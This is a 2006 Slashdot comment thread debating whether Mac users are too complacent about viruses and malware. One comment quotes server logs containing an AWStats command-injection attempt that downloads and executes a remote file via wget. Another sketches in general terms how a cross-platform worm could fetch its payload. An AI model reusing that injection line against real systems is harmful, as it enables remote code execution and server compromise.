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Mac users 'too smug' Over Security? 707

Posted by Hemos
from the the-problem-of-a-monoculture dept.
wild_berry writes "Bill Thompson, one of the BBC's technology commentators and presenter of Go Digital on the BBC World Service, expresses his concerns that Mac users assume their safety in the face of trojans, worms, keyloggers and other malware. As a Mac user he is most concerned about the lack of herd immunity that is needed to stop a few infections becoming an epidemic, fully explained in his column week for the BBC technology site. Is he right, and what actual products exist for OS X that would protect against infections?"
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Mac users 'too smug' Over Security?

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  • Dead On (Score:4, Interesting)

    by eldavojohn (898314) * <eldavojohnNO@SPAMgmail.com> on Monday January 16, 2006 @10:15AM (#14481367) Journal
    This article was dead on.

    My first ever encounter with this mentality was in high school when my music theory instructor told us that she loved her Mac and when I tried to argue with her about a number of things, she'd repeatedly reply with "No Mac has ever been hacked or had a virus on it."

    Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry. I found the option to replace a mistyped word with another that the user entered. After that, whenever she typed the word "the", it was replaced with "WARNING! VIRUS DETECTED! PULL PLUG FROM OUTLET AS SOON AS POSSIBLE!" Unfortunately, her son knew enough about computer to fix it so my fun didn't last very long (only one or two lunges at the wall).

    Back to the issue--I think it is a grave mistake for anyone to ever feel 100% invulnerable when it comes to computers that are connected to the internet in anyway. I would diagnose this as a standard case of a false sense of security. This is something that has plagued many people throughout history and often led to their downfalls.

    What message am I trying to get across to Mac users? First, realize you're not invulnerable. Second, just browse around and look at what's out there for you to use as anti-virus and virus blocking tools. And if you don't want to, read some horror stories [faqs.org], perhaps that will motivate you to become aware of possible worms in your Apple.
    • Re:Dead On (Score:5, Informative)

      by pwhysall (9225) on Monday January 16, 2006 @10:19AM (#14481401)
      That link doesn't even mention OS X, and is dated 2000.
      • Re:Dead On (Score:5, Insightful)

        by ciroknight (601098) on Monday January 16, 2006 @10:39AM (#14481556)
        Better yet:

        There are around 40 Mac-specific viruses and related threats. ++Mac users with [Microsoft] Word 6 or versions of Word/Excel supporting Visual Basic for Applications, however, are vulnerable to infection by macro viruses which are specific to these applications. Indeed, these viruses can, potentially, infect other files on any hardware platform supporting these versions of these applications. I don't know of a macro virus with a Mac-specific payload that actually works at present, but such a payload is entirely possible. ++[Microsoft] Office 98 applications are in principle vulnerable to most of the threats to which Office 97 applications are vulnerable.

        Funny. 40 Mac viruses compared to how many PC viruses? 71989 and counting according to Symantec. And the most mentioned causes of problems in security on the Mac Platform? Microsoft products. I rest my case.
        • Re:Dead On (Score:5, Informative)

          by bbernard (930130) on Monday January 16, 2006 @10:56AM (#14481698)
          40 Mac viruses compared to how many PC viruses? 71989 and counting according to Symantec. And the most mentioned causes of problems in security on the Mac Platform? Microsoft products. I rest my case.

          That's beside the point of the article. The article wasn't blasting security on the Mac, it was pointing out that Mac's are susceptible to problems to. Doesn't the vulnerability of software running on a Mac constitute a security problem on the Mac? If I can get in does it matter if it's through the OS directly or through an application?

          The article was suggesting that Mac users need to be every bit as cautious as the "rest of us" on our Windows boxes. It was railing against the same type of thinking that causes parents to decide not to get their children vaccinated against things like measles because you never hear of measles cases anymore. Of course not! It's because we've been vaccinated! So Mac users: go get your booster shots.

          • Re:Dead On (Score:5, Insightful)

            by 99BottlesOfBeerInMyF (813746) on Monday January 16, 2006 @03:35PM (#14484331)

            That's beside the point of the article. The article wasn't blasting security on the Mac, it was pointing out that Mac's are susceptible to problems to. Doesn't the vulnerability of software running on a Mac constitute a security problem on the Mac? If I can get in does it matter if it's through the OS directly or through an application?

            Yes, it does matter. A remote exploit available in the default install of an OS is what allows for a worm to propagate and is what makes plugging an unpatched Windows machine into a network suicide. Local vulnerabilities that don't even include a privilege escalation are a completely different severity. When those vulnerabilities further do not even have any payload that will affect OS X, well that is less of a threat as well.

            The article was suggesting that Mac users need to be every bit as cautious as the "rest of us" on our Windows boxes. It was railing against the same type of thinking that causes parents to decide not to get their children vaccinated against things like measles because you never hear of measles cases anymore. Of course not! It's because we've been vaccinated! So Mac users: go get your booster shots.

            Your analogy is flawed. How about if parents on the remote island of Wabbachucha don't go to the bother of flying to the mainland to get their kids vaccinated when their has never been a single reported case of measles on the island, while there have been a number of plane crashes flying to the mainland. Right now the mac neighborhood is in pretty good shape. By default the machines are relatively secure, and the architecture lends itself to containing and preventing security issues. It makes sense to be cautious and it makes sense to take precautions, but you have to have a reasonable threat assessment. If you have an 18 year old daughter living in Detroit, it might make sense for her to get a concealed pistol permit, especially if she goes out at night. On Wabbachucha, crime is so low the risk is greater that she will injure or kill herself than prevent harm to herself.

            So far there have been no worms or viruses that have affected the mac. All vulnerabilities have been fixed before that becomes a problem. So far there have been two instances of virus scanning software for the mac that have had adverse affects and damaged files. Personally, I run ClamAV and LittleSnitch as well as some other useful precautions, but for the average user, they really are better off without these days. Mac users, don't get your booster shots until there is something in the syringe. Until there actually are viruses for the Mac propagating in the wild, don't risk installing possibly buggy virus scanners and certainly don't pay money for them.

          • Re:Dead On (Score:3, Insightful)

            by Krach42 (227798)
            The issue here with virus proection in computers is that it is entirely reactive. Even if you have that shiney new virus scanner, it won't catch viruses that are written after your virus lists have been updated.

            Essentially, this whole herd immunity thing is going to exist on OSX until it becomes an issue. There was nothing that the Native Americans could have done to prepare themselves for smallpox, except wait for it to come. In the same way, there's nothing that OSX can do to reasonably protect themsel
          • Re:Dead On (Score:3, Insightful)

            by Macdude (23507)
            The article was suggesting that Mac users need to be every bit as cautious as the "rest of us" on our Windows boxes.

            And that's where the article is wrong. Mac user's aren't as threatened so they don't have to be as cautious. Here's an analogy for you; a guy crossing a high-wire has to be extremely careful each and every step of the way, one small misstep and he could plunge to his death. Another guy walking down the sidewalk doesn't need to be anywhere near as careful, he could still step into a open manhol
        • Re:Dead On (Score:5, Interesting)

          by Fordiman (689627) * <fordimanNO@SPAMgmail.com> on Monday January 16, 2006 @12:52PM (#14482683) Homepage Journal
          The point of TFA is that Macs don't get the kind of scrutiny that Windows machines do.

          This is, by the way, not even mentioning the following: Now that OS-X, Windows, and Linux all run on the same hardware, spreading a fully cross-platform virus is easy. The virus first attempts to identify the target machine. Upon doing so and diagnosing apprent weaknesses, the virus then packages the relevant position-independant code in an appropriate executable container (ELF for linux, PE for Windows, a.out or unibin for OS-X) and set the entry point.

          The virus then executes a found exploit, causing the offending computer to download the converted virus from the attacking computer (uploading a virus via buffer overrun is tricky; it's better to simply send up a stub that grabs the virus from the attacker than to try for a full infection via exploit). This can be done by either piggybacking the download through a program that's been cleared by the firewall (wget, internet explorer, etc), or by creating a servlet whos only purpose is to wait for connections from the attacker and let it upload.

          Hell, on OS-X, you could even have it download and compile the virus SOURCE behind the user's back.

          I've said it here before: I'm a pretty good programmer, and I've been fighting viruses for years. Be glad I don't write the damned things; I could probably cripple the world. The same is true for any half-competant programmer with an interest in security.
          • Re:Dead On (Score:3, Informative)

            by Peganthyrus (713645)
            Hell, on OS-X, you could even have it download and compile the virus SOURCE behind the user's back.

            OSX only comes with compilers if you specifically install them from the dev tools disc. Most people won't have done this.
    • Re:Dead On (Score:5, Insightful)

      by ciroknight (601098) on Monday January 16, 2006 @10:33AM (#14481507)
      First of all, after my Googling, has there EVER been a virus for OS X? Seriously?

      Secondly, any kid who's seen an AOL commercial realizes how bad viruses are. n new viruses a day. 50k Windows viruses and counting. And Windows still has no way to stop these things, whereas OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

      Next, look at the patch release time. Open Source developers get patches out almost the instant a volunerability is found that is considered to be serious enough to be patched. Mac OS X is an OS project (and thusly, all of the nasty bits that generally cause problems like network applications are OS), with a nice pretty closed GUI. Sure there have been security holes in their products, but they are extremly quick about getting patches out. Microsoft has proved time and again to be a beast of burden when it comes to patches, as seen just recently after it took them over a week to patch a ZERO DAY exploit.

      No, Mac users aren't invulnerable. We're simply more secure overall. And we're proud of that.
      • Re:Dead On (Score:5, Informative)

        by earthbound kid (859282) on Monday January 16, 2006 @11:05AM (#14481784) Homepage
        According to Wil Shipley [wilshipley.com], there has been maybe one real virus for Mac OS X, maybe. Even then, it didn't spread much and no one's sure if it really existed in the wild and it may have just been a trojan.
      • Re:Dead On (Score:5, Informative)

        by arivanov (12034) on Monday January 16, 2006 @11:38AM (#14482027) Homepage
        You need to read non-Apple security material more. When MacOS X came out a whole list of setuid apps used by the "pretty shell" to tell the OS to do simple things like load a CD or eject it had security wholes all over the place. http://www.derkeiler.com/Mailing-Lists/securityfoc us/bugtraq/2001-10/0117.html [derkeiler.com] is a prime example. I admit Apple learned from its mistakes pretty fast, but the initial release of MacOS X was one big local security hole. You are correct - networkwise it was more or less OK, but once someone managed to connect it was ripe for picking.

        • Re:Dead On (Score:3, Insightful)

          by HairyCanary (688865)
          And yet again, the point is made -- momentary security status is strictly of secondary importance. What really matters is not how secure the software is today -- it's how secure it will be tomorrow. Apple comes out with fixes very much quicker than Microsoft does, and on top of that Apple seems to actually fix things, rather than just lay a patch over the visible hole. As you say, Apple learned from their original mistake and the current version of OSX has excellent security. Microsoft has had years to
      • Re:Dead On (Score:3, Interesting)

        by glesga_kiss (596639)
        OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

        Bullshit with a capital AND bold "B". The Windows viruses that have done the most harm recently are trojans and NO OS can deal with that problem. Sure, they might ask "Please enter root password", but that is just a speed bump. Most users will see it as the computer asking for the root password (and not the installer) and for years we've been telling them to read what it says and d

    • Re:Dead On (Score:3, Insightful)

      by troc (3606)

      Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry.

      You gained physical access to a computer. That has nothing whatsoever to do with network security. All modern computers, PCs, macs, unixes, linux etc can and should be password protected when you aren't there and they are in a place where they could be physically accessed if you don't want people playing w

      • Re:Dead On (Score:3, Informative)

        by Lifewish (724999)
        And the original article was pointing out that having a bloody well-designed operating system in no way means you're immune to hacking. It was railing against OSX as a panacea, not an OS. As such, the GP's post was in fact dead on.
    • Re:Dead On (Score:5, Funny)

      by MasonMcD (104041) <masonmcd@mac.cPLANCKom minus physicist> on Monday January 16, 2006 @10:59AM (#14481723) Homepage
      when I tried to argue with her about a number of things, she'd repeatedly reply with "No Mac has ever been hacked or had a virus on it."

      Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry.


      So in the face of her computer never having been hacked, you physically sat down at her computer and hacked it?

      Good thing she didn't say she's never had her house broken into, or her virtue compromised.
    • Re:Dead On (Score:5, Informative)

      by NardofDoom (821951) on Monday January 16, 2006 @11:25AM (#14481937)
      The site you linked to covered a wide variety of the 30 or so viruses available for the Mac. None of which run in OS X. A few of which are spread using Hypercard, which has been discontinued.

      1995 called. They want their FUD email back.

    • Re:Dead On (Score:5, Insightful)

      by Midnight Thunder (17205) on Monday January 16, 2006 @11:35AM (#14482001) Homepage Journal
      I am a Mac user, albeit one that also spends equal time on Unix and MS-Windows, and realise there is an equal proportion of Mac and Linux users who reckon just because you aren't logged in as root you suddenly become invunerable to viruses and worms. In fact there have been viruses that targeted the pre-MacOS X systems and even a few worms that targeted BSD in the past.

      True security is an active mechanism: The three points on security:

      1. No castle wall in the past ever kept the invaders out indefinetly
      2. Never understimate a determined person.
      3. In view of points of 1. and 2. you are truely a fool if you think you have found the perfect method of security.

      I suppose I could add 4: You are also truely a fool if you a salesman convinces you that their product is 100% secure to all security issues. It may be safe today, but we don't know what tomorrow holds.
  • by nkntr (583297)
    It isn't so much that there aren't as many security holes in OSX and Linux (as well as other OS's), but that there aren't the hoardes of people gunning to find them like there are in Microsoft (aka the evil empire) products.
    • by A beautiful mind (821714) on Monday January 16, 2006 @10:25AM (#14481447)
      On the contrary. Linux is open source, therefor more people are looking to find bugs / rewrite code.

      If enough eyes are looking, all bugs are shallow, that is the open source mentality. That is precisely the good thing about open source.
      • by glesga_kiss (596639) on Monday January 16, 2006 @12:11PM (#14482317)
        I've never been convinced by the "many eyes" argument. It's hard enough to get coders to review each others code in the office where they are getting paid. How many people actually code-review OSS stuff in reality?

        To me, the advantage here has always been the availability of a quick patch. Not code that's inherently more secure due to it's license model.

    • by dal20402 (895630) * <dal20402@mCOMMAac.com minus punct> on Monday January 16, 2006 @10:33AM (#14481514) Journal
      Actually, it's both. (Lower marketshare and a safer OS, that is.)

      Just to name some of the obvious... OS X can't use ActiveX, it's actually useful when you run a non-administrator account, it doesn't come with Swiss-cheese services enabled by default, it doesn't automatically trust machines on its own subnet, and there's no real equivalent on it to VB scripting.

      With that in mind, I absolutely agree that Mac users are too smug and that a dedicated malware author could bring many of us to our knees. (Hell, I run as administrator just to save time, despite knowing the risks. It's a gamble, although I keep good backups.) But an OS X (or Linux) malware author would have to be much more skilled than most Windows-targeting skript kiddies to do a lot of damage.

      In today's real world, if you run a Mac (or Linux), you're going to suffer far less than your average Windows user. If you use an out-of-the-box Mac to do typical home-user tasks, which probably include visiting shady corners of the Internet, you won't have the spyware infestations you would with an out-of-the-box Windows box. And most of the routine worms out there have no effect on a Mac.

      • Even an adminstrator can't modify system settings without a password though. I run as adminstrator and I am asked all the time for a password for installions via the installer.

        Regular apps they are drag and drop. but I can't type
        rm -rf /

        and have it destroy my computer. it will ask for a password first. My user files might be gone, a few applications that have my username with them but that's it.
    • by Just Some Guy (3352) <kirk+slashdot@strauser.com> on Monday January 16, 2006 @10:54AM (#14481683) Homepage Journal
      but that there aren't the hoardes of people gunning to find them like there are in Microsoft (aka the evil empire) products.

      That's the same reason there haven't been massive exploits for Apache. Even though it has over two-thirds market share, every script kiddie loves F/OSS to the point that they'd never attack it, ever. Same for Internet Explorer - it's only attacked more often than Firefox because it has a bigger market share and every cracker on the planet just plain loves Firefox.

      Right.

      In the real world, there's a lot of street cred to be earned by being the first to 0wn a network of Macs, and yet no one - not one single cracker anywhere - seems to be up to the challenge. Gee, what terrific luck on Apple's part!

  • by Anonymous Coward on Monday January 16, 2006 @10:17AM (#14481380)
    Mac users are too smug about... everything ;]
  • Mine (Score:2, Funny)

    by palad1 (571416)
    "Is he right, and what actual products exist for OS X that would protect against infections?"

    Try this one [apple.com] . It works for me...

  • by ayelvington (718605) on Monday January 16, 2006 @10:19AM (#14481399) Journal
    The guy is right, and security by obscurity doesn't really work for long. I suppose that the security of Macs rests in the continued success and growth of Windows.

    I have a Mac and only have the firewall turned on. I suppose I'm off the bell curve since the Mac is for entertainment only and I rarely browse and never use email with it.

    So, is there a profile of a Mac virus writer???

    -a
    • by ioErr (691174) on Monday January 16, 2006 @10:37AM (#14481541)
      So, is there a profile of a Mac virus writer???

      Judging by the amount of viruses out for Mac OS X he's one lazy fucker.
    • security by obscurity doesn't really work for long.

      Sheesh. Make a phrase that rhymes and people will just beat it to death. It's not security by obscurity, it's security by architecture. Is it invulnerable? Of course not. But it's more than just the market share that provides the security.

    • by caddisfly (722422) on Monday January 16, 2006 @11:54AM (#14482159)
      Insightful? who mod'ed this?

      one of the rules of security is "don't make it easy and obvious" -- OS X does that, Windows doesn't. Windows is the "honey pot" for the world. With all the unsecure machines any script kit can bust it. OS X would take some real work, so the hackers go elsewhere.

      another rule: layered defense -- OS X does it, Windows doesn't. With Windows, break into an app or file and you are at the OS core -- see WMF.

        It is not about market share, it is about market share of *unsecure* machines. The Windows "not secure" architecture and legacy will haunt it for years to come. If OS X gets 50% market share, those remaining Windows machines will still be just as unsecure and will still get just as hammered by malware, etc. It doesn't follow that overall malware will equally affect OS X.

      Try this analogy: there were more robberies of homes than banks....and it ain't because there are so many more homes. Banks are just more difficult to rob, risks are greater and penalties greater. OS X is the bank -- it can be robbed, but I don't spend my time worrying about it. My home, on the other hand, has "windows" -- and I worry about that a lot! ;-)

      Two observations:

      a) do a market share observation of security folks and technical folks at generic computer conferences: the market share of OS X is more like 30-40% for people in the know.
      b) as much "negative reaction" as folks have to Steve Jobs and Apple, if someone could write a virus, etc. for OS X, they would have done so by now, just to throw it in his face and make headlines across the tech world. I am still waiting.

  • Oh no.. (Score:4, Insightful)

    by ciroknight (601098) on Monday January 16, 2006 @10:20AM (#14481408)
    Not another one of these articles.

    If you want to talk about any audience that's too smug, talk about Linux. Linux is on more important machines, and yet everyone talks about how safe and secure it is, even though in some cases it's just not true at all. Yes, Open Source code is generally more secure, but the major parts that need to be secured in OS X are Open Source.

    As far as I'm concerned, both Linux and OS X are going to be one hell of a lot safer than Windows for a long time running, and so I can rest and relax in my relative security thanks to Microsoft's inferior security practices.
  • What's worse? (Score:3, Interesting)

    by DaHat (247651) on Monday January 16, 2006 @10:21AM (#14481411) Homepage
    The retailers who make this claim to those who may not know better.

    A local Mac shop practically advertises that a Mac is totally secure and immune to viruses and spyware.

    Every time I see one of their commercials I shake my head at the persons obvious lack of understanding of the issues at hand. It's one thing for a Mac fan to say there are secure due to their delusion... it's quite another for them to use their delusion as the basis for a sale.

    It's just a shame that for them to be proven wrong, a lot of people and their PC's have to get hurt.
    • Re:What's worse? (Score:5, Interesting)

      by guet (525509) on Monday January 16, 2006 @10:33AM (#14481512)
      A platform which doesn't have Active-X, doesn't have services running out of the box, doesnt' have autorun for CDs with Sony Malware, and doesn't have an unfortunate legacy meaning almost all apps require continual admin access, is more secure in my book. There's a couple of operating systems that fit the bill, one of which you seem to hate : )

      Having no known viruses at this point is an extra bonus.

      Not immune of course, but then I don't hear many people claim that, in fact, I've never heard anyone say that, just heard it repeated as a truism (Mac users think this) on websites.

      It's just a shame that for them to be proven wrong, a lot of people and their PC's have to get hurt

      A lot of people and their PCs get hurt continually at present, but they come back for more and keep running the same broken system.
      • Re:What's worse? (Score:3, Interesting)

        by bill_mcgonigle (4333) *
        Not immune of course, but then I don't hear many people claim that, in fact, I've never heard anyone say that, just heard it repeated as a truism (Mac users think this) on websites.

        Immunity is a good metaphor.

        Superman doesn't get sick (we'll ignore Kryptonite for the sake of this post). We don't have a Superman OS yet. Come back with something completely written in a design-by-contract model with lots of years of bug finding and then we can talk about entry into the JLA. Mac users don't have a superpower
    • Re:What's worse? (Score:5, Insightful)

      by Jason Earl (1894) on Monday January 16, 2006 @10:42AM (#14481577) Homepage Journal

      You can keep waiting for the Mac folks to be proven wrong, but chances are good that you'll be waiting a long time. You see, just like biological viruses computer viruses need two things before they will take off. The first thing that they need is an exploitable weakness. The Mac has enough of those that a worm is certainly possible. The second thing that you need is a large enough body of susceptible hosts that the worm can spread. Macs *don't* have that. Without a large body of susceptible hosts the entire population is safe. That's why it doesn't matter that my neighbors don't immunize their children. The fact that their children are susceptible to immunizable diseases doesn't really matter because there aren't enough luddites to create a viable population of carriers.

      Interestingly enough, most of the same effects can be had simply by not using Outlook and IE on Windows as these two programs are the main vectors for infection.

      • I've taken a course last semester about computer security. There were pretty interesting lectures, very professionally handled in my opinion. Bank security, mathematical basis of cryptography, biometrics, security in hardware, mainframes, etc., and yes, virology.

        The interesting stuff is, that when we're talking about windows viruses, we don't make a difference between different windows versions, but we should. A "platform" for a virus is a specific version of an operating system which it can infect. No mo
    • Re:What's worse? (Score:3, Insightful)

      by swillden (191260)

      It's one thing for a Mac fan to say there are secure due to their delusion... it's quite another for them to use their delusion as the basis for a sale.

      It's a simplification, not a delusion, and it's a very reasonable basis for a sale.

      The fact is that Macs are totally immune to the current crop of viruses and nearly all current spyware... because the viruses and spyware are written for and only run on Windows. That may (and probably will) change in the future. At present, and probably for the next co

  • by MMC Monster (602931) on Monday January 16, 2006 @10:22AM (#14481420)
    That's Mac OS X.

    There's no substituting an OS that doesn't let the average user have administrator rights all the time.

    The windows users state that they don't need to run as administrator, but then ask them what hurdles they have to go through to make their software "just work".
    • by Zathrus (232140) on Monday January 16, 2006 @11:09AM (#14481815) Homepage
      There's no substituting an OS that doesn't let the average user have administrator rights all the time

      Yes, because as we all know the really valuable data on the computer is the OS and installed programs. You know, the stuff that can be replaced in a few hours.

      All that user data that's completely and utterly irreplacable? Worthless. Who cares if a virus or trojan destroys it? And it obviously doesn't matter if a keylogger running in userspace sniffs out all your bank passwords and sends them to a 3rd party (what, you don't need admin privs to open a socket?!?!), because, hey, the OS itself is still secure!

      The amount of real damage that a virus, worm, or trojan can do is not substantially affected by whether or not it can get administrator privledges. It may be easier to remove, but that's about it. And, frankly, if your average user runs in a lower privledged account then they're likely to get used to typing in the admin password when prompted, without even thinking about it.

      And that's what it ultimately boils down to -- the user. Clueless users will get hit by crap all the time regardless of the platform. Clued users will not, again regardless of the platform. I've been using PCs for over 20 years now, most of that time on DOS or Windows (although I've also used OS/2, Linux, FreeBSD, Solaris, and several others) and I've been hit with a virus exactly once -- and that was about 18 years ago. It infected very little too, because I was running a virus scanner that caught it quickly (back in the days when McAfee was free(ish) for personal use). Nor have I ever had to remove spyware, malware, etc. on any of my personal or work systems.

      OS X has a rather high percentage of non-technical users, just as Windows does. Do you really think that they're immune to doing stupid things?
      • Yes, because as we all know the really valuable data on the computer is the OS and installed programs. You know, the stuff that can be replaced in a few hours.

        All that user data that's completely and utterly irreplacable? Worthless. Who cares if a virus or trojan destroys it? And it obviously doesn't matter if a keylogger running in userspace sniffs out all your bank passwords and sends them to a 3rd party (what, you don't need admin privs to open a socket?!?!), because, hey, the OS itself is still secure!


        A
  • In the computing world, there are clueless people, slightly more knowledgeable people, and the computer geeks. For the Mac crowd, I would gather the clueless and the computer geeks aren't smug since the clueless don't know what's out there and the geeks know that nothing is 100% secure. That leaves the slightly more knowledgeable people since their argument is that there hasn't been a virus reported since mac os x came out.
  • Regardless of what OS you use, you are never 100% secure. Much like safe sex, stick to stuff you know is safe and 99% of time, you should be fine. If you do decide to venture into the internet darker corners, then "protect" yourself as much you can, and of course never assume that "it will never happen to me"
  • by Secrity (742221) on Monday January 16, 2006 @10:23AM (#14481430)
    It will be a GOOD indication when malware writers start attempting to target Apple or *NIX. It will either mean that MS produsts no longer the dominate player or it will mean that MS products are no longer a major security problem.
  • wait.... (Score:3, Insightful)

    by William Robinson (875390) on Monday January 16, 2006 @10:24AM (#14481438)
    IANA Mac user, but, isn't there Word (or Microsoft Office) for Mac? What is difference between Word on Windows and Mac that prevents those notorious macro virus?
    • Re:wait.... (Score:4, Informative)

      by gEvil (beta) (945888) on Monday January 16, 2006 @10:47AM (#14481622)
      IIRC, Word macro viruses on a Mac tend not to be nearly as damaging as their Windows counterparts (less ties into the system and other Office apps, etc). However, the big problem is that Word for Mac acts as a vector of transmission. Word docs that contain macro viruses that don't affect the Mac in any way can wreak havoc as soon as they're opened on a Windows machine (assuming someone clicks the 'run macros' button on opening the file).
  • 5% of the malware? (Score:3, Interesting)

    by yurigoul (658468) on Monday January 16, 2006 @10:27AM (#14481456) Homepage
    From the article:
    One reason why there aren't many malicious Mac programs is that there are fewer Mac users out there, but the fact that some have been written shows that they are possible in principle.
    5% mac users equals 5% of the virusses and other malware, wich should be equal to tens of thousands. Well, anyone knows how many there are out there? I haven't seen anything since os8, and trust me, I am neither safe, nor do I stay away from those funny sites or those servers with funny programs.
  • Migrated to Windows (Score:3, Interesting)

    by zlogic (892404) on Monday January 16, 2006 @10:29AM (#14481475) Homepage
    I've been using Linux for nearly a year with no Windows on my PC. After that, I had to use Windows (developed .NET apps) and on the first day got 3 completely different viruses and managed to get my system completely screwed up. Before that I had a huge experience in Windows and never had any real problems with that kind of stuff. However it appears that I've completely lost awareness of the possible dangers of running every app without checking first.
    So it appears that Linux and probably Mac users are less aware of malware and do some really careless things because the probability of getting a virus is extremely low.
  • by nuckin futs (574289) on Monday January 16, 2006 @10:31AM (#14481495)
    there are numerous anti virus programs out there for the Mac, but what virus are they scanning for? There are no known viruses for OS X, so how can they update the virus definitions if they have nothing to base it on? They've seen a vulnerability here and there, but nothing has been exploited yet. So it's like the chicken and the egg. you need an AV program to protect yourself from viruses, but you need a virus for the program to detect.

    The day i see a virus on OS X is the day I buy an AV program.
  • What to use? (Score:4, Insightful)

    by FullCircle (643323) on Monday January 16, 2006 @10:33AM (#14481506)
    How about a router with a firewall and the slightest bit of common sense?

    It works here even with Windows XP.
    • Re:What to use? (Score:3, Informative)

      by Just Some Guy (3352)
      How about a router with a firewall and the slightest bit of common sense?

      It works here even with Windows XP.

      Sweet! What firewall are you using that protects against the much-discussed WMF attacks? Malicious, encrypted instant messaging packets? Because I'd have an easy time convincing my boss to take a look at such a thing, if it actually existed.

      Firwalls address one attack vector. If you believe that's the only one that counts, you're deluding yourself.

  • by standards (461431) on Monday January 16, 2006 @10:35AM (#14481527)
    Bill Thompson is right, but there is a much, much larger problem that's out there: cell phones. Cell phones are always connected to a large network. There are billions of them, And very few cell phones run any kind of anti-viral or anti-trojan software.

    Although Bill may be writing to ride on the coat tail's of Apple's recent success, the Macintosh can get infected by a virus or a trojan program. In fact, some of the earliest computer viruses in the wild were found on the Mac. The Mac virus problem isn't as large as the Windows virus problem, but that's because there are many more Windows machines intermingling out there.

    Any networked device, from routers to mainframes, from Bluetooth devices to cell phones to the XBox 360, may be vulerable to malware. All need robust security.
  • Options for OS X (Score:3, Informative)

    by sammy baby (14909) on Monday January 16, 2006 @10:36AM (#14481531) Journal
    ...Is he right, and what actual products exist for OS X that would protect against infections?

    My stock response: "The truth is, viruses just aren't a huge threat on the Mac right now. However, my religion precludes me from advising you to not buy anti-virus software."

    It's not like you don't have options though. You can get anti-virus software from:
    Symantec [symantec.com]
    Sophos [sophos.com]
    Intego [intego.com]
    McAfee [mcafee.com] (Virex, included with a .Mac membership)
    And, of course, there's always Clam AV [clamav.net], along with the ClamXav [markallan.co.uk] front end for OS X.
  • by Rick Zeman (15628) on Monday January 16, 2006 @10:37AM (#14481542)
    ...but architectural considerations need to be considered, too. There's no legacy baggage code from 1990 (a la WMF) to be worked around. Sure, we're smug, but that's because we live in today and not some theoretical tomorrow.

    That being said, my Macs have Little Snitch installed. For those not lucky enough to be using a Mac, it's like Zone Alarm.
  • by NitsujTPU (19263) on Monday January 16, 2006 @10:39AM (#14481553)
    Is he right, and what actual products exist for OS X that would protect against infections?

    Today, wild_berry was the billionth story submitter to place an annoying question at the end of his submission. Despite the pleas of nearly a million Slashdot users, wild_berry took part in the timeless tradition of Kindergarten Teachers and Coffee Talkers everywhere, and gave us a topic to discuss amongst ourselves.

    What about YOU, what is your opinion of annoying questions at the end of postings? What do YOU think about them? Do YOU have any solutions to the problem?
  • by mstroeck (411799) on Monday January 16, 2006 @10:39AM (#14481558) Homepage
    I don't know who the guy is, but the article is completely useless. There are absolutely no hard facts in there. Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share". It's just not true. I haven't come across anything dodgy so far and I've _actively_ looked for it. Nothing except some shell-script with a highly hypothetical threat. Also, keep in mind that OS X users tend to get a large percentage of their software from centralized sources like apple.com and VersionTracker, which wouldn't post or quickly pull any infected software. IF there was any kind of outbreak, it would be all over the Mac-web within an hour at the maximum.
    • I don't know who the guy is, but the article is completely useless. There are absolutely no hard facts in there. Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share".

      Here's the key... its not so much about the message of the article (which, while true, involves a disproportionate amount of hand-wringing...)

      "These days Apple users are almost unbearably smug when the

  • by liangzai (837960) on Monday January 16, 2006 @10:42AM (#14481587) Homepage
    Looking at /var/log/httpd/access_log I typically find lines like these:

    61.185.142.22 - - [15/Jan/2006:20:41:12 +0800] "GET /NULL.IDA?CC...
    210.0.196.236 - - [16/Jan/2006:19:14:34 +0800] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%20216%2e55%2e168%2e25%2fkillok%3bc hmod%20%2bx%20killok%3b%2e%2fkillok;echo%20YYY;ech o| HTTP/1.1" 404 293

    Why would I bother about this? There never is and never was an attempt at hooking up to my machine. Not a single virus, worm, trojan horse or macro virus in fifteen years of time.

    There was a time when I downloaded the latest and the greatest in antivirus, but those apps were never of any use. They just consume valuable cycles and memory. I was just fooled by commercial forces to believe that I too could be hurt.

    IF there is a virus or similar attacking Mac OS X, it will be known in no-time by the entire community, because there are a few outlets that almost all Mac users tend to for information. IF, and when, that happens, I will worry a little bit. But until then I will just let you folks use your Windoze crap machines loaded with warring apps to combat the attacks on your machines.

    Do you wear a bicycle helmet? You are much more likely to be killed in a bicycle accident than your Mac is likely to be hit by a malicious attack. So, do you wear a bicycle helmet!?
  • Safer vs. Safe. (Score:4, Insightful)

    by jellomizer (103300) * on Monday January 16, 2006 @10:45AM (#14481614)
    If you are using Mac vs. Windows you are definatly safer. Even if you are using a windows system with all the greatest and most expensive security tools out there. First you have the OS Level of protection (which the extra windows security tools tend to fix some of), Wich prevents applicatons running as Root or Super User unless it notifies the user and they will need to retype in their password (Which could still be a problem, but at least the user would know what they did and when so they could possibly fix it), and Unlike windows and a lot of Linux Distros. It is out of the box with all outside ports closed.

    But you can still put malware on a Mac. Just attach it to an other application and when they install it, it asks for a password and bang your malware has full access. Some of the new features shown at the Last Mac World scare me a little to. Like allowing people to email links when click opens up iPhoto etc... where they could be a flaw in the graphic renderer to cause a buffer overflow and run code.

    The second level of protection is just the fact that a lot less people have a Mac then a PC. If you want to cause havic then you taget windows because the windows base is large enough to allow viruses and malware to spread. Apples are more dotted. And sending mac malwarer may not have the numbers to spread.

    All in all I would feel safer using a Mac with a Raw connection to the internet. Vs. a Windows PC behind a well maintained network, with all the patches and secuirty tools. Because the chances are the Mac will catch on fire from a faulty fan, then get a security compremize (Without changing the origional out of the box setting)
  • by Barzoo (761898) on Monday January 16, 2006 @10:45AM (#14481615)
